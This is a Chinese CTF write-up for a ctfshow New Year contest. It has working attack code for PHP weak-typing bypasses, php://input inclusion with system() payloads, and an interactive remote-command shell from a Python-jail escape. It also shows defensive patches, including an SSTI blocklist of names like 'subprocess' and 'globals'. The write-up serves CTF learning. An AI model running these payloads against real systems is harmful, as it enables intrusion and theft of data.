CTF部分

热身签到

Challenge

元旦时,我二舅姥爷给我出的密码题

text
54515552545455515456547055555566545654495548554855575370515051485150515453705555545755525456537054515551515051485150515450495568

Solution

From Decimal, From Hex - CyberChef

FLAG

text
ctfshow{happy_2026_with_cs2026!}

HappySong

Challenge

鼓声也可以很燃,虽然只有两个音节

Solution

CTFSHOW2026YuanDan-1

试了一下 01100011 01110100 二进制转字符得到 ct 就不用再试了,就是这个规律,一点点照着转就行

FLAG

text
ctfshow{just_a_nice_song}

Happy2026

Challenge

奇怪的2026

php
<?phperror_reporting(0);highlight_file(__FILE__); $happy = $_GET['happy'];$new = $_GET['new'];$year = $_GET['year']; if($year==2026 && $year!==2026 && is_numeric($year)){    include $happy[$new[$year]];}

Solution

考的是 PHP 弱类型比较和数组/变量覆盖

我们需要满足 if 语句中的三个条件才能触发 include,从而进行文件包含或代码执行。

  1. $year == 2026 弱相等:

    • PHP 在使用 == 比较时,如果一方是数字,另一方是字符串,会尝试将字符串转换为数字。
    • 例如:"2026.0" == 2026 为真,"2026abc" == 2026 (在旧版本 PHP) 为真。
  2. $year !== 2026 强不等:

    • !== 比较值和类型,如果我们传入的是字符串 "2026.0",虽然值等于 2026,但类型是 String,而右边是 Int,所以条件成立。
  3. is_numeric($year) 数字检测:

    • is_numeric() 检测变量是否为数字或数字字符串。
    • 它允许小数形式(如 "2026.0"),但不允许包含非数字字符。

因此可以使用浮点数形式的字符串 2026.0 绕过。

include $happy[$new[$year]]; 是一个嵌套的数组取值操作。假设我们构造 Payload 如下:

  • GET 参数 year = "2026.0"
  • 我们需要构造 new 为一个数组,使得 $new['2026.0'] 存在。假设我们设 $new['2026.0'] = 'cmd'
  • 接着需要构造 happy 为一个数组,使得 $happy['cmd'] 存在。
  • 最终 include 的就是 $happy['cmd'] 的值。

我们尝试利用 php://input 伪协议,因为它允许我们将 PHP 代码作为 POST 数据发送给服务器执行。

构造 Payload:

  • URL参数:
    text
    ?year=2026.0&new[2026.0]=k&happy[k]=php://input
  • POST 数据:
    php
    <?php system('ls -al'); ?>

执行结果:

text
drwxrwxrwx    1 www-data www-data      4096 Dec 30 10:20 .drwxr-xr-x    1 root     root          4096 Dec 30 10:20 ..-rw-r--r--    1 www-data www-data        61 Jan  3 05:13 flag.php-rw-rw-r--    1 root     root           217 Dec 30 10:20 index.php

为了防止 PHP 标签被解析,我们可以使用 Linux 的 base64 命令将 flag.php 文件内容编码为纯文本。

构造 Payload:

  • POST 数据:
    php
    <?php system('base64 flag.php'); ?>

获得一串 Base64 字符串。解码后即可看到源码和 Flag。

python
import requestsimport reimport urllib3import base64 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)TARGET_URL = "..." params = {    'year': '2026.0',    'new[2026.0]': 'k',    'happy[k]': 'php://input'} cmd = "base64 flag.php"php_code = f"<?php system('{cmd}'); ?>".encode() response = requests.post(TARGET_URL, params=params, data=php_code, verify=False)match = re.search(r'</code>(.*)', response.text, re.S)result = re.sub(r'\s+', '', match.group(1))decoded = base64.b64decode(result).decode('utf-8')print(decoded)

执行结果:

text
<?php $flag='ctfshow{20848734-d1d4-4ef5-9300-7a093a4d3e9b}';

FLAG

text
ctfshow{20848734-d1d4-4ef5-9300-7a093a4d3e9b}

SafePIN

Challenge

绝对安全的身份认证系统

Solution

前端实现了一个基于 SHA-256 的确定性 PRNG

源码中的 u32FromHex8 函数是所有随机数的来源:

javascript
function u32FromHex8(h8){    const b0 = parseInt(h8.slice(0,2),16);    const b1 = parseInt(h8.slice(2,4),16);    const b2 = parseInt(h8.slice(4,6),16);    const b3 = parseInt(h8.slice(6,8),16);    return (b0 | (b1<<8) | (b2<<16) | (b3<<24)) >>> 0;}

它提取了 SHA-256 哈希值的前 8 位,采用了小端序重组,b0 是低位,b3 是高位。

javascript
async function prng_u32(seed, tag){    const h = await sha256Hex(seed + "|" + tag);    return u32FromHex8(h.slice(0,8));}

所有的随机数都是通过 seed + "|" + tag 产生的,这意味着只要知道 seed 就能预知所有的键盘映射和频率微扰

这套系统通过 permute_0_9 改变了数字键对应的声音 ID,使得“按键 1”发出的声音并不一定是“ID 1”。

javascript
async function permute_0_9(seed){    const a = [...Array(10).keys()]; // 初始 [0,1,2,3,4,5,6,7,8,9]    let x = await prng_u32(seed, "perm"); // 获取初始随机状态    for(let i=9;i>=1;i--){        // LCG        x = (Math.imul(x, 1664525) + 1013904223) >>> 0;        const j = x % (i+1);        [a[i], a[j]] = [a[j], a[i]]; // 交换位置    }    return a; }

Math.imul(x, y) 模拟 C 语言风格的 32 位整型乘法处理溢出。返回的数组 a 的键是实际数字,值是对应的 SoundIDsoundId = 10 对应 CANCEL 键,soundId = 11 对应 ENTER 键)。

查看 soundParams 函数中的核心计算:

javascript
const base = 1050 + soundId*23 + (((x & 0xff) - 128) * 0.35);

基准频率由 1050 + soundId * 23 决定,SoundID 0-11 的范围大约是 1050Hz - 1303Hz。微扰项 x 是由 prng_u32(seed, "p" + soundId) 产生的。由于微扰范围(约 90Hz)大于 ID 间隔(23Hz),不同 ID 的频率会交叉。我们需要针对当前会话的 seed 算出 12 个绝对的频率指纹点。

最后访问 /seed.php 得到 seed

text
{"ok":true,"seed":"294f2d41875fde53c5c15273cb675730","token":"a14d15d027318590bc5e227c6c692961","record_url":"\/record.php?token=a14d15d027318590bc5e227c6c692961"}

编写 Python 代码分析:

python
import hashlibimport structimport numpy as npfrom scipy.io import wavfile SEED = "bf46354bb4019621c2c5ea5af89d525d"WAV_FILE = "record.wav" def sha256_u32(s):    """    JS 中的 prng_u32 函数    输入字符串 "seed|tag",返回小端序的 uint32    """    h = hashlib.sha256(s.encode()).hexdigest()    # JS: u32FromHex8(h.slice(0,8)) -> 取前8位hex    # JS logic: b0 | b1<<8 | b2<<16 | b3<<24 (Little Endian)    hex8 = h[:8]    val = struct.unpack("<I", bytes.fromhex(hex8))[0]    return val def get_permutation(seed):    """    JS 中的 permute_0_9 函数    返回: {SoundID: Digit} 的反向映射表    """    a = list(range(10)) # [0, 1, ... 9]    x = sha256_u32(f"{seed}|perm")        for i in range(9, 0, -1):        # LCG 算法: x = (x * 1664525 + 1013904223) >>> 0        x = (x * 1664525 + 1013904223) & 0xFFFFFFFF        j = x % (i + 1)        # 交换        a[i], a[j] = a[j], a[i]        # a[digit] = soundId    # soundId -> digit    sound_to_digit = {sid: d for d, sid in enumerate(a)}    return sound_to_digit def get_exact_frequencies(seed):    """    JS 中的 soundParams 函数    计算 SoundID 0-11 对应的精确 Base 频率    """    freqs = {}    for sid in range(12): # 0-9 digits, 10 cancel, 11 enter        x = sha256_u32(f"{seed}|p{sid}")        # JS: base = 1050 + soundId*23 + (((x & 0xff) - 128) * 0.35)        # x & 0xff 是取最低8位        offset = ((x & 0xFF) - 128) * 0.35        base_freq = 1050 + sid * 23 + offset        freqs[sid] = base_freq    return freqs def analyze_audio(filename, target_freqs):    sr, data = wavfile.read(filename)     if len(data.shape) > 1: data = data.mean(axis=1) # 转单声道        # 归一化    data = data / np.max(np.abs(data))     # 简单的能量检测分割音频    threshold = 0.05    is_active = np.abs(data) > threshold        events = []    min_gap = int(sr * 0.06) # 60ms 最小间隔    curr_start = -1    silence_count = 0        for i, val in enumerate(is_active):        if val:            if curr_start == -1: curr_start = i            silence_count = 0        else:            if curr_start != -1:                silence_count += 1                if silence_count > min_gap:                    # 截取片段,跳过开头的杂音 (前20ms)                    start_cut = curr_start + int(sr * 0.02)                    end_cut = i - silence_count                    if end_cut - start_cut > int(sr * 0.03): # 至少保留30ms                        events.append(data[start_cut:end_cut])                    curr_start = -1        print(f"[*] 检测到 {len(events)} 个按键声音片段")     detected_sids = []     for i, chunk in enumerate(events):        # FFT 频谱分析        nfft = max(4096, len(chunk) * 4)        spectrum = np.abs(np.fft.rfft(chunk, n=nfft))        freqs = np.fft.rfftfreq(nfft, d=1/sr)         # 寻找 900-1500Hz 范围内的峰值        mask = (freqs >= 900) & (freqs <= 1500)        peak_idx = np.argmax(spectrum[mask])        peak_freq = freqs[mask][peak_idx]         # 寻找最接近的 SoundID        best_sid = -1        min_diff = float('inf')         for sid, target_f in target_freqs.items():            diff = abs(peak_freq - target_f)            if diff < min_diff:                min_diff = diff                best_sid = sid         detected_sids.append(best_sid)     return detected_sids def main():    print(f"[*] 使用 seed: {SEED}")        # 1. 计算映射关系 (SoundID -> Digit)    perm_map = get_permutation(SEED)     # 2. 计算精确频率表    freq_map = get_exact_frequencies(SEED)     # 3. 分析音频    raw_sids = analyze_audio(WAV_FILE, freq_map)        # 4. 模拟输入状态机    for sid in raw_sids:        if sid == 10: # CANCEL            print("<CANCEL>", end='')        elif sid == 11: # ENTER            print("<ENTER>", end='')            break        elif sid in perm_map: # 0-9            digit = perm_map[sid]            print(f"{digit}", end='') if __name__ == "__main__":    main()

输出结果:

text
[*] 使用 seed: bf46354bb4019621c2c5ea5af89d525d[*] 检测到 11 个按键声音片段779<CANCEL>447685<ENTER>

得到 PIN 为 447685,输入得到 flag

FLAG

text
ctfshow{31e51121-516d-49f2-8c8e-cde7f27eb382}

SafePassword

Challenge

  1. 根据情报,J国近年来对我国进行了持续的渗透攻击,我方技术人员经过溯源,发现某个可疑网址。
  2. 该网址疑似为J国的情报组织任务分配中心,但是我方并没有拿到登陆口令,无法继续深入。
  3. 已经确认嫌疑账号用户名为jcenter,此人2025年加入该组织,登陆口令未知。

Solution

php
$expected = getExpectedHash($channelKey);if (md5($accessKey) == $expected) { // 弱类型比较 ==    $_SESSION['authed'] = true;}

PHP 的 == 是弱类型比较。如果一边是字符串,另一边是整数,PHP 会尝试将字符串转换为整数再进行比较。例如:"2025abc" == 2025 的结果是 true

  1. 如何让 $expected 变成整数
    观察 getExpectedHashbuildExpectedHash 函数:

    • 如果 $channelKey 长度超过 64 或者包含特定不可见字符,buildExpectedHash 会抛出异常。
    • 内部 catch 块捕获异常后,会抛出一个新的异常,其错误代码为 VERIFY_FAILED,即 2025(这对应了题目背景中“2025年加入组织”的提示)。
    • getExpectedHash 捕获该异常后,调用 pickErrorCode。因为 2025ERROR_CODES 常量数组中,所以函数最终返回整数 2025
  2. 利用思路

    • 构造一个非法的 channel_key(例如长度大于 64 的字符串),迫使服务器返回整数 2025
    • 寻找一个字符串 access_key,使得它的 MD5 值以 2025 开头且紧跟一个非数字字符。
    • 发送请求,利用 md5("access_key") == 2025 绕过验证。
python
import requestsimport hashlibimport reimport urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)target_url = "https://f17eb0d1-e4c6-493c-a71d-3337998de431.challenge.ctf.show/"session = requests.Session() # 寻找符合条件的 access_keydef find_access_key():    prefix = "2025"    i = 0    while True:        test_str = str(i)        md5_res = hashlib.md5(test_str.encode()).hexdigest()        # 匹配 2025 开头且第五位不是数字的 hash,确保 PHP 弱类型转换结果正好是 2025        if md5_res.startswith(prefix) and not md5_res[4].isdigit():            return test_str        i += 1        if i > 1000000:            break # 获取初始页面以拿到 CSRF tokenres = session.get(target_url, verify=False, timeout=10)csrf_search = re.findall(r'name="csrf" value="([a-f0-9]+)"', res.text)csrf_token = csrf_search[0]print(f"CSRF Token: {csrf_token}") access_key = find_access_key() # 构造 payloaddata = {    "csrf": csrf_token,    "action": "login",    "access_key": access_key,    "channel_key": "A" * 70  # 长度超过 64 字节} res = session.post(target_url, data=data, verify=False, timeout=10)flag = re.findall(r'ctfshow\{.*?\}', res.text)print(flag[0])

执行结果:

text
CSRF Token: 27175dd27626768fab073983724c83e3ctfshow{7c8914b8-81a4-4ab4-b7ae-d266644b16cf}

FLAG

text
ctfshow{7c8914b8-81a4-4ab4-b7ae-d266644b16cf}

AWDP防御题目

SafeCalc

Challenge

过于简单,不用防御

calc.php

php
<?php header('Content-Type: application/json; charset=utf-8');  $expr = $_POST['expr'] ?? '';if (!is_string($expr)) fail('bad request'); $expr = trim($expr);if ($expr === '') fail('empty'); if (strlen($expr) > 100) fail('too long'); $out="";eval("\$out=($expr);");echo json_encode(['ok' => true, 'result' => $out], JSON_UNESCAPED_UNICODE); function fail(string $msg, int $code = 400): void {    http_response_code($code);    echo json_encode(['ok' => false, 'error' => $msg], JSON_UNESCAPED_UNICODE);    exit;}

Solution

插入一行针对 $expr 的合法字符白名单校验,只允许数字、基础算术运算符、括号、小数点和空格通过

php
<?php header('Content-Type: application/json; charset=utf-8');  $expr = $_POST['expr'] ?? '';if (!is_string($expr)) fail('bad request'); $expr = trim($expr);if ($expr === '') fail('empty'); if (strlen($expr) > 100) fail('too long');if (preg_match('/[^0-9+\-\/*(). ]/', $expr)) fail('illegal characters'); $out="";eval("\$out=($expr);");echo json_encode(['ok' => true, 'result' => $out], JSON_UNESCAPED_UNICODE); function fail(string $msg, int $code = 400): void {    http_response_code($code);    echo json_encode(['ok' => false, 'error' => $msg], JSON_UNESCAPED_UNICODE);    exit;}

SafeCard

Challenge

业务功能一定要正常哦

app.py

python
from flask import Flask, request, render_templatefrom jinja2 import Environment, BaseLoaderimport osimport refrom datetime import datetime app = Flask(__name__)app.config["FLAG"] = os.environ.get("FLAG", "CTF{dev_flag_placeholder}") jinja = Environment(    loader=BaseLoader(),    autoescape=True,    variable_start_string="${",    variable_end_string="}",) BLOCK_WORDS = [    "import", "os", "subprocess", "eval", "exec", "open", "read", "write",    "globals", "locals", "builtins", "class", "mro", "subclasses",    "request", "config", "cycler", "joiner", "namespace",] def heavy_filter(s: str) -> str:    if not isinstance(s, str):        return ""    s = s[:800]    s = s.replace("{{", "").replace("}}", "")    s = s.replace("{%", "").replace("%}", "")    s = s.replace("{#", "").replace("#}", "")     s = re.sub(r"[\x00-\x08\x0B\x0C\x0E-\x1F]", "", s)     lower = s.lower()    for w in BLOCK_WORDS:        if w in lower:            s = re.sub(re.escape(w), "", s, flags=re.IGNORECASE)            lower = s.lower()     s = s.replace("..", "").replace("//", "").replace("\\\\", "\\")    return s @app.get("/")def index():    return render_template("index.html") @app.post("/preview")def preview():    name = heavy_filter(request.form.get("name", ""))    tpl = heavy_filter(request.form.get("tpl", ""))     if name.strip() == "":        name = "Guest"    if tpl.strip() == "":        tpl = "新年快乐,${name}!愿你 2026 天天好心情~"     ctx = {        "name": name,        "year": str(datetime.now().year)    }     try:        out = jinja.from_string(tpl).render(ctx)    except Exception as e:        out = "模板渲染失败:请检查输入内容"     return {"ok": True, "html": out} @app.get("/healthz")def healthz():    return "ok" if __name__ == "__main__":    app.run(host="0.0.0.0", port=5000)

Solution

  1. 完善黑名单:增加了 __(防止双下划线方法)、self(防止沙箱逃逸)、[](防止字典/下标访问)以及 attrbase 等关键属性。
  2. 修复过滤逻辑漏洞:原代码使用 re.sub 将黑名单词汇替换为空字符串,这存在双重嵌套绕过风险(如 conconfigfig),将其修改为一旦检测到黑名单词汇,直接返回空字符串。
python
from flask import Flask, request, render_templatefrom jinja2 import Environment, BaseLoaderimport osimport refrom datetime import datetime app = Flask(__name__)app.config["FLAG"] = os.environ.get("FLAG", "CTF{dev_flag_placeholder}") jinja = Environment(    loader=BaseLoader(),    autoescape=True,    variable_start_string="${",    variable_end_string="}",) BLOCK_WORDS = [    "import", "os", "subprocess", "eval", "exec", "open", "read", "write",    "globals", "locals", "builtins", "class", "mro", "subclasses",    "request", "config", "cycler", "joiner", "namespace",    "self", "__", "[", "]", "attr", "base"] def heavy_filter(s: str) -> str:    if not isinstance(s, str):        return ""    s = s[:800]    s = s.replace("{{", "").replace("}}", "")    s = s.replace("{%", "").replace("%}", "")    s = s.replace("{#", "").replace("#}", "")     s = re.sub(r"[\x00-\x08\x0B\x0C\x0E-\x1F]", "", s)     lower = s.lower()    for w in BLOCK_WORDS:        if w in lower:            return ""     s = s.replace("..", "").replace("//", "").replace("\\\\", "\\")    return s @app.get("/")def index():    return render_template("index.html") @app.post("/preview")def preview():    name = heavy_filter(request.form.get("name", ""))    tpl = heavy_filter(request.form.get("tpl", ""))     if name.strip() == "":        name = "Guest"    if tpl.strip() == "":        tpl = "新年快乐,${name}!愿你 2026 天天好心情~"     ctx = {        "name": name,        "year": str(datetime.now().year)    }     try:        out = jinja.from_string(tpl).render(ctx)    except Exception as e:        out = "模板渲染失败:请检查输入内容"     return {"ok": True, "html": out} @app.get("/healthz")def healthz():    return "ok" if __name__ == "__main__":    app.run(host="0.0.0.0", port=5000)

SafePHP

Challenge

不要把环境搞炸了

webService.php

php
<?phpfunction main_service($r){    router::go("admin");} function metrics_service($r){    check_login();        json_out(array('ok'=>true,'users'=>128,'jobs'=>7,'sync'=>date("Y-m-d H:i:s"),'n'=>s($r)['n']),s($r)['st']);} function users_service($r){    check_login();    $rows=array();    for($i=0;$i<8;$i++){      $rows[]=array('id'=>1000+$i,'name'=>'user'.($i+1),'role'=>($i%5===0?'maintainer':'developer'),'status'=>($i%3===0?'locked':'active'),'last'=>date('Y-m-d',time()-86400*$i));    }    $ss=s($r);    json_out(array('ok'=>true,'rows'=>$rows), $ss['n'], $ss['st']);  } function admin_service($r){    $ap = check_admin();    $confPath=dirname(__DIR__).'/config.php';    $c=require $confPath;    $token = md5(md5($ap));    $token===$r['t']?json_out(array('ok'=>true,'s'=>$c['flag']),s($r)['n'],s($r)['st']):json_out(array('ok'=>false,'s'=>$ap),s($r)['n'],s($r)['st']);    } function flag_service($r){    check_login();    call_user_func(str_replace("php","",$r['y']));} function repos_service($r){    check_login();    $rows=array(        array('name'=>'core','visibility'=>'private','size'=>'42MB','updated'=>date('Y-m-d',time()-86400*2)),        array('name'=>'plugins','visibility'=>'internal','size'=>'18MB','updated'=>date('Y-m-d',time()-86400*6)),        array('name'=>'mirror','visibility'=>'public','size'=>'7MB','updated'=>date('Y-m-d',time()-86400*11))      );    json_out(array('ok'=>true,'rows'=>$rows),s($r)['n'],s($r)['st']);} function jobs_service($r){    check_login();    $rows=array();    $states=array('running','queued','success','failed');    for($i=0;$i<10;$i++){      $rows[]=array('id'=>random_int(10,100),'type'=>($i%2?'sync':'build'),'state'=>$states[$i%4],'duration'=>strval(3+$i).'s','time'=>date('H:i:s',time()-$i*37));    }    json_out(array('ok'=>true,'rows'=>$rows),s($r)['n'],s($r)['st']);} function password_service($r,$sessionManager){    $user['role'] = $sessionManager->read()[2]['role'];    $user['username'] = $sessionManager->read()[2]['username'];    $user['password'] = (string)$r['password'];    $users = new Users();    json_out($users->update($user['username'],array("password"=>$user['password'],"role"=>$user['role'])),s($r)['n'],s($r)['st']);    exit;} function health_service($r){    json_out(array('ok'=>true,'time'=>date("Y-m-d H:i:s"),'service'=>'jcenter-admin','n'=>s($r)['n']),s($r)['st']);} function audit_service($r){    check_login();    $rows=array();    for($i=0;$i<12;$i++){      $rows[]=array('time'=>date('Y-m-d H:i:s',time()-$i*95),'who'=>($i%4===0?'system':'user'.($i%8+1)),'op'=>($i%3===0?'repo:write':'repo:read'),'ip'=>'10.0.0.'.(10+$i));    }    json_out(array('ok'=>true,'rows'=>$rows),s($r)['n'],s($r)['st']);} function logout_service($sessionManager){    $sessionManager->delete();} function login_service($r,$sessionManager){    $username = (string)$r['u'];    $password = (string)$r['p'];    $users = new Users();    if(!$users->exists($username)){        router::goLogin("用户名不存在");    }    $user = $users->get($username);    if($user['password']!==$password){        router::goLogin("密码错误");    }      $sessionManager->create($user['username'],$user['role']);    $ret['ok'] = true;    $ret['router']="/admin/admin.php?action=main";    echo json_encode($ret);    exit;} function unserialize_service($r){    unserialize($r['u']);} function s($r){    $st=isset($r['st'])?$r['st']:'ctfshow';    $n=isset($r['n'])?intval($r['n'])+1:0;    return array("st"=>$st,"n"=>$n);}

Solution

非预期,把函数全删了就通过了

text
<?php

AWDP攻击题目

SafePythonJail

Challenge

Python 很安全,没事的,本来是防御题目,放到攻击题目感觉更好一点。

Solution

  1. 核心漏洞点:
    sanitizer.py_prune_node_exec 函数中存在一个逻辑错误:

    python
    def _prune_node_exec(node: ast.AST, policy: Policy) -> ast.AST:    # ...    if isinstance(node, ast.UnaryOp) and isinstance(node.op, ast.Not):        operand = _prune_node_exec(node.operand, policy) # 剪枝了操作数,但结果存在变量 operand 中        return ast.UnaryOp(op=ast.Not(), operand=node.operand) # <--- 却返回了原始的 node.operand    # ...

    这意味着,任何包裹在 not (...) 中的表达式在 execute 阶段的 prune_for_exec 处理时,都会保留其原始未修剪的 AST 节点。

  2. 签名绕过:
    canonicalize_for_signing 函数对于所有的 ast.Not 表达式都会返回统一的 "NOT(*)"

    python
    if isinstance(node, ast.UnaryOp) and isinstance(node.op, ast.Not):    return "NOT(*)"

    我们可以先用一个合法的 not True 获取签名(对应 NOT(*)),然后在执行时替换 payload 为 not (恶意代码)。由于恶意代码也被 prune_for_verify 剪枝成 False,其生成的规范化字符串依然是 NOT(*),从而绕过签名验证。

  3. 利用链

    • 通过 req(一个 Obj 实例)获取其 __init__.__globals__,从而进入 app.py 的全局命名空间。
    • 在全局空间中找到 _sessions 字典和 request 对象。
    • 利用 request.cookies.get('sid') 获取当前 session ID。
    • _sessions 中定位到当前用户的 SessionState 对象,并调用其 __setattr__ 方法将 stage 直接修改为 1001。

解题思路:

  1. 骗取签名:向 /prepare 发送 not (任意合法表达式),拿到 nonce 和针对 NOT(*) 的合法签名。
  2. 构造 Payload:利用 not (恶意代码) 结构。
  3. 外带数据:
    • 由于 eval 执行结果无法直接看到,我们通过劫持 _sessions 字典找到自己的 session。
    • 将执行结果写入 session.stage 属性。
    • 通过访问 /status 接口,服务器会将 stage 的内容以 JSON 形式输出。
python
import requestsimport urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class PyJailShell:    def __init__(self, url):        self.url = url        self.session = requests.Session()        self.session.verify = False        self.session.get(url) # 初始化 sid     def execute_command(self, cmd):        """利用漏洞执行系统命令并返回 stage 结果"""        # 1. 获取签名        res_prep = self.session.post(f"{self.url}/prepare", data={"payload": "not 1"}).json()        if not res_prep.get("ok"): return f"Error: {res_prep}"                nonce, sig = res_prep["nonce"], res_prep["sig"]         # 2. 构造 Payload (将命令结果存入 stage)        # 使用 ( ... or 1) 确保内部返回 True,not 之后就是 False,防止 stage += 1 报错        python_code = (            f"req.__init__.__globals__['_sessions'].get("            f"req.__init__.__globals__['request'].cookies.get('sid')"            f").__setattr__('stage', req.__init__.__globals__['os'].popen('{cmd}').read()) or 1"        )        payload = f"not ({python_code})"         self.session.post(f"{self.url}/execute", data={            "payload": payload, "nonce": nonce, "sig": sig        })         # 3. 获取回显        res_status = self.session.get(f"{self.url}/status").json()        return res_status.get("stage")     def run(self):        while True:            try:                cmd = input("$ ").strip()                if not cmd: continue                 output = self.execute_command(cmd)                print(output if output else "[*] Command executed (No output)")            except KeyboardInterrupt:                break            except Exception as e:                print(f"[-] Error: {e}") if __name__ == "__main__":    TARGET_URL = "https://4d6c2947-7fe0-4700-bc06-b2ee0fb37db4.challenge.ctf.show/"    shell = PyJailShell(TARGET_URL)    shell.run()

执行结果:

text
$ ls__pycache__app.pyengine.pyrequirements.txtsanitizer.pysecret.txtstatictemplates$ cat secret.txtctfshow{e4072c2c-a896-4ad3-b928-95357f179f04}